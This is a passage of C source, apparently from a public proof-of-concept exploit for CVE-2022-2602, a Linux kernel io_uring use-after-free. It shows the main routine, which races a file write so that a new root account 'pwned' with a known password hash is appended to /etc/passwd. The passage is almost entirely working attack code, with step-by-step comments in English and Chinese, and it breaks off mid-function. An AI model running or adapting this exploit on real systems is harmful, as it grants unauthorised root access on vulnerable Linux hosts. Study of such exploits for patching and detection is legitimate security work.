Function main

CVE-2022-2602/exploit/exploit.c:121–220

}

int main(int argc, char **argv) {
	pthread_t t;
	struct io_uring ring;
	int fd;
	struct io_uring_params *params;
	int rfd[3];
	int s[2];
	int target_fd;
	start_write = (int *)mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	assert(start_write != (int *)-1);

	struct stat st;
	stat("/etc/passwd", &st);
	int orig_passwd_size = st.st_size; // used to check whether /etc/passwd has changed
	int size;

	*start_write = 0;

	// Password for new root user --> "lol"  因为本exp是附加写入"/etc/passwd"，所以得添加新用户，而不是把当前用户hi变为root用户
	iov[0].iov_base = "pwned:$1$aa$Sc4m1DBsyHWbRbwmIbGHq1:0:0:/root:/root:/bin/sh\n";		// "hi2:x:0:0:root:/:/bin/sh\n"  "pwned:$1$aa$Sc4m1DBsyHWbRbwmIbGHq1:0:0:/root:/root:/bin/sh\n"
	iov[0].iov_len = 59;
	iov[1].iov_base = "hello, world!\n";
	iov[1].iov_len = 14;
	iov[2].iov_base = "hello, world!\n";
	iov[2].iov_len = 14;
	iov[10].iov_base = "hello, world!\n";
	iov[10].iov_len = 14;
	iov[11].iov_base = "hello, world!\n";
	iov[11].iov_len = 14;

	socketpair(AF_UNIX, SOCK_DGRAM, 0, s);
// Step 1: io_uring_setup (IORING_SETUP_SQPOLL)   fd
	params = malloc(sizeof(*params));
	memset(params, 0, sizeof(*params));
	params->flags = IORING_SETUP_SQPOLL;
	fd = io_uring_setup2(32, params);
// Step 2: io_uring_register (IORING_REGISTER_FILES)  s[1]/rfd[1] -> fd,  fd->sk->sk_receive_queue save s[1]/rfd[1]
	rfd[0] = s[1];
	rfd[1] = open("/tmp/rwA", O_RDWR | O_CREAT | O_APPEND, 0644);	// 附写到文件之后，避免覆写
	io_uring_register2(fd, IORING_REGISTER_FILES, rfd, 2);

	close(rfd[1]);
// Step 3: s[0] -> [fd] -> s[1],  s[1]->sk->sk_receive_queue save fd
	sendfd(s[0], fd);
// Step 4: close(s[0] / s[1])
	close(s[0]);
	close(s[1]);
// Step 5: take up the inode lock: sub-thread write (0x80000 * 0x1000) bytes to "/tmp/rwA"
	printf("[+] Creating thread\n");
	pthread_create(&t, NULL, slow_write, NULL);
	sleep(1);

	prepare_request(fd, params, &ring);	// prepare writev request
	printf("[+] Waiting for the sub-thread to get lock on file\n");
	while (*start_write == 0) { SPIN	}

	printf("[+] Sub-thread 1 got inode lock!\n");
	printf("[+] Submitting io_uring request\n");